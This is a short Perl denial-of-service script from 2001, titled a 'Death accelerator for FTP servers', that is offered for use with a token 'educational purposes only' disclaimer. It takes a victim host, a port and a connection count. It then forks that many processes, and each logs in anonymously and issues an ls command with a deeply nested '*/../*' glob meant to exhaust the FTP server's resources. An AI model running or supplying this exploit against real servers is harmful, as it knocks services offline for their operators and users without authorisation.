#!/usr/bin/perl -w

# Death accelerator for FTP servers (C) Ninja 2001
# This is for educational purposes only
# All credits go to Gore, my old parakeet who c0des perl better than me
# Just tweak the connections number to bring a swifter death to your machine
# Ain't life a bitch ? Hehe...
use Net::FTP;
if($#ARGV==-1) {
# Print help file
	print ("\n Usage: $0 [victim] [port] [connections] \n");
}
else {
	($victim,$port,$conn)=@ARGV;
	print "Attacking $victim:$port with $conn connections\n";
	for($i=0;$i<$conn;$i++) {
	$procid=fork();
	if($procid==0){
		$ftp=Net::FTP->new("$victim", Port=>$port, Passive=>1);
		$ftp->login("anonymous",'bitch@kiddie.box');
		$ftp->ascii();
		$ftp->ls("*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*");
		$ftp->quit();
		}
	}
	}